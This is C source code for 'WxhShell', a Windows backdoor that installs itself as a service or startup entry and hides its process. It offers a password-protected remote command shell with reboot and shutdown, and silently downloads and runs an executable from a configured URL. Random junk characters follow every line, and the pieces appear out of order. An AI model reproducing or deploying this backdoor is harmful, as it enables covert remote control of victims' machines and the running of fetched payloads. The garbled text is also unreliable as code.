} PROCESS_BASIC_INFORMATION; o&zJ=k[4
cAqLE\h
PROCNTQSIP NtQueryInformationProcess; fZzoAzfv2
|&nS|2.'
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9:[ 9v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,GIyq)
`?qF$g9u~
HANDLE hProcess; n;Q7X>-f8`
PROCESS_BASIC_INFORMATION pbi; K?Nhi^f"L
:&rt)/I
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H8zK$!
if(NULL == hInst ) return 0; \*y-g@-{W$
V-2(?auZd
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |t&>5HM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _LUhZlw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \0I_<
#n#}s
if (!NtQueryInformationProcess) return 0; VUGmi]qd
I-)+bV
G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4Zddw0|2
if(!hProcess) return 0; m@F`!qY~Y\
Q&ptc>{bH6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x8\?}UnB
JCzeXNY
CloseHandle(hProcess); =sU<S,a*
D~iz+{Q4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uh4%}-;
if(hProcess==NULL) return 0; !bx;Ta.
e8!5I,I
HMODULE hMod; 8oseYH
char procName[255]; ")5":V~fN
unsigned long cbNeeded; syj0.JD
l
-m fFN
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {n.PF8A5X
El".I?E*
CloseHandle(hProcess); 7\[@m3s
:T$|bc
if(strstr(procName,"services")) return 1; // 以服务启动 r~8 $1"
t%FwXaO#
return 0; // 注册表启动 Zw9FJ/Zn@
} ]t,BMu=%
O`\;e>!t
// 主模块 @6sqMw}
int StartWxhshell(LPSTR lpCmdLine) |\t-g"~sN
{ 7~p@0)''
SOCKET wsl; b<ZIWfs
BOOL val=TRUE; 9(7-{,c
int port=0; uEP*iPLD@
struct sockaddr_in door; "ycJ:Xv49
2r4Uh1D~
if(wscfg.ws_autoins) Install(); 6=/F$|
mb3"U"ohs
port=atoi(lpCmdLine); |4zIfAO
cn3\kT*
if(port<=0) port=wscfg.ws_port; 'n]w"]|
jo@6?(
*4
WSADATA data; F6|]4H.3Q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1D7`YKI9h
[Ek7b*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M `M5'f
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZzpUUH/r
door.sin_family = AF_INET; LEf^cM=>
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^|>PA:%
door.sin_port = htons(port); n\D&!y[]F
P=Jo+4O
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IdYt\^@>
closesocket(wsl); RJ&RTo
return 1; xn(kKB.
} At>DjKx]O
vWv"
if(listen(wsl,2) == INVALID_SOCKET) { rfJz8uF%
closesocket(wsl); $6 9&O
return 1; ,V m
< rK
} hH3RP{'=
Wxhshell(wsl); {9pZ)tB
WSACleanup(); c_pr
UHkMn
return 0; ! E5HN :#
Vwf$JdK%&l
} 3M7/?TMw{6
Tv=mgH=b
// 以NT服务方式启动 uyWunpT
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W,n!3:7s
{ qgHWUwr+n
DWORD status = 0; AKfDXy
DWORD specificError = 0xfffffff; ((;!<5-`s
Eyqa?$R
serviceStatus.dwServiceType = SERVICE_WIN32; @n /nH?L
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'sKk"bi;0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $( kF#
serviceStatus.dwWin32ExitCode = 0; "|q&ea rc
serviceStatus.dwServiceSpecificExitCode = 0; M"Hf :9Rk
serviceStatus.dwCheckPoint = 0; "Gzz4D
serviceStatus.dwWaitHint = 0; ZvX*t)VjTz
%)1?TU
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i9|Sa6vuI
if (hServiceStatusHandle==0) return; exUFS5d
|aS.a&vwR
status = GetLastError(); @*XV`_!h
if (status!=NO_ERROR) 4e7-0}0
{ s
5Qcl;}
serviceStatus.dwCurrentState = SERVICE_STOPPED; ksUcx4;a@F
serviceStatus.dwCheckPoint = 0; -d/
=5yxL
serviceStatus.dwWaitHint = 0; JFmC\
serviceStatus.dwWin32ExitCode = status; pYEMmZ?L
serviceStatus.dwServiceSpecificExitCode = specificError; 7xlkZF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X`K<>0.N
return; lrE5^;/s1
} 8/#A!Ww]
Pmx-8w
serviceStatus.dwCurrentState = SERVICE_RUNNING; )2o?#8J
serviceStatus.dwCheckPoint = 0; h7oo7AP
serviceStatus.dwWaitHint = 0; JPHL#sKyz
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +3BN}
} J*A,o~U|
SKN`2[ahD
// 处理NT服务事件,比如:启动、停止 u
c)eil
VOID WINAPI NTServiceHandler(DWORD fdwControl) [|$h*YK
{ VCkq"f7cw
switch(fdwControl) &Z@o Q
{ RbnVL$c
case SERVICE_CONTROL_STOP: &6!)jIWJ
serviceStatus.dwWin32ExitCode = 0; vh%B[brUJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; K5h
serviceStatus.dwCheckPoint = 0; *?vCC+c
serviceStatus.dwWaitHint = 0; <n$'voR7]
{ (%6P0*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nai2W<,
} Sz`,X0a
return; rs[T=C Q
case SERVICE_CONTROL_PAUSE: ;[DU%f
serviceStatus.dwCurrentState = SERVICE_PAUSED; zC!t;*8a
break; `U_)98
case SERVICE_CONTROL_CONTINUE: 6d}lw6L
serviceStatus.dwCurrentState = SERVICE_RUNNING; /{_:{G!Q0
break; V}CG:9;
case SERVICE_CONTROL_INTERROGATE: cuITY^6
break; K69'6?#
}; /,yd+wcW#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mq.`X:e
} C<tl/NC
dZ@63a>>@
// 标准应用程序主函数 J/$&NWF
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2%m BK
{ &p@O_0nF
DyQy^G'%l
// 获取操作系统版本 Yj49t_$b
OsIsNt=GetOsVer(); v\ )W?i*l
GetModuleFileName(NULL,ExeFile,MAX_PATH); M%m4i9~!?
(L&d!$,Dv
// 从命令行安装 bI1N@=
if(strpbrk(lpCmdLine,"iI")) Install(); {!L~@r
9Y9GwL]T
// 下载执行文件 Lqa4Vi
if(wscfg.ws_downexe) { #;yZ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =;
Ff4aF
WinExec(wscfg.ws_filenam,SW_HIDE); N4!O.POP
} x 9fip-
6H$FhJF
if(!OsIsNt) { -Q*gW2KmV
// 如果时win9x,隐藏进程并且设置为注册表启动 O^
yG?b
HideProc(); <]2w n
StartWxhshell(lpCmdLine); I\ob7X'Xu!
} 4D4j7
else Y:[u1~a
if(StartFromService()) u*`GiZAO
// 以服务方式启动 8lrpve
StartServiceCtrlDispatcher(DispatchTable); &h/Xku&0
else :"c*s4
// 普通方式启动 TvbE2Q;/UL
StartWxhshell(lpCmdLine); WOap+
TC*g|d @b
return 0; #*Ctwl,T
} 3s#N2X;Bc
y<Ot)fa$
~c `l@:
57c8xk[.2
=========================================== q/,O\,
g($2Dk_F2
NBGH_6DROw
e\L8oOk#r
YOO+R{4(
.ioEIs g
" hwv/AnX~O
\4fQMG
#include <stdio.h> XSLFPTDEc
#include <string.h> rey!{3U
#include <windows.h> b>ySv
#include <winsock2.h> $!t4r
#include <winsvc.h> Km$\:Xo
#include <urlmon.h> 1yhDrpm
Dlvz)
#pragma comment (lib, "Ws2_32.lib") s$j,9uRr
#pragma comment (lib, "urlmon.lib") |+9&rAg
ww1[rCh\+
#define MAX_USER 100 // 最大客户端连接数 :V||c 5B+
#define BUF_SOCK 200 // sock buffer d2$IH#~9B
#define KEY_BUFF 255 // 输入 buffer OneY_<*a<
Q=$2c[Uk
#define REBOOT 0 // 重启 K}Qa~_
#define SHUTDOWN 1 // 关机 vFmZ<C'
)
3bI9Zt#J%&
#define DEF_PORT 5000 // 监听端口 es7=%!0
nxFBI D
#define REG_LEN 16 // 注册表键长度 eHUOU>&P]
#define SVC_LEN 80 // NT服务名长度 kAUymds;O
ef4 i:.
// 从dll定义API ~P-mC@C
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CrTw@AW9)
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p!%pP}I
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G3T]`Atf
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |[8Th4*n
~k5W@`"W
// wxhshell配置信息 YoFxW5by
struct WSCFG { z
F;K
int ws_port; // 监听端口 Q"#J6@
char ws_passstr[REG_LEN]; // 口令 }jPSUdo
int ws_autoins; // 安装标记, 1=yes 0=no X:{!n({r=
char ws_regname[REG_LEN]; // 注册表键名 A04U /;
char ws_svcname[REG_LEN]; // 服务名 q)
KKvO
char ws_svcdisp[SVC_LEN]; // 服务显示名 !&E-}}<
char ws_svcdesc[SVC_LEN]; // 服务描述信息 vl)l'
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jPkn[W#
6
int ws_downexe; // 下载执行标记, 1=yes 0=no 8z\xrY
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j?QDR
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J'r^/
GQ
;;bcj&
}; B9S@(/"7
qH_Dc=~la
// default Wxhshell configuration "m>81-0
struct WSCFG wscfg={DEF_PORT, Vxt+]5X
"xuhuanlingzhe", rytyw77t(
1, 1o>xEWt:0K
"Wxhshell", veECfR;
"Wxhshell", 47/iF97
"WxhShell Service", tZo} ;|~'
"Wrsky Windows CmdShell Service", '|=;^Z7.K
"Please Input Your Password: ", zm;C\s rF
1, GC'O[q+
"http://www.wrsky.com/wxhshell.exe", j'K/22
"Wxhshell.exe" Ax}JLPz5'
}; _@/8gPT*i
X}0cCdW
// 消息定义模块 k9F=8q
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _o~nr]zx
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8q7b_Pq1U
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <gBA1oRz
char *msg_ws_ext="\n\rExit."; ?Mfw]z"\C)
char *msg_ws_end="\n\rQuit."; ,R|BG
char *msg_ws_boot="\n\rReboot..."; 93hxSRw
char *msg_ws_poff="\n\rShutdown..."; 0{SL&<&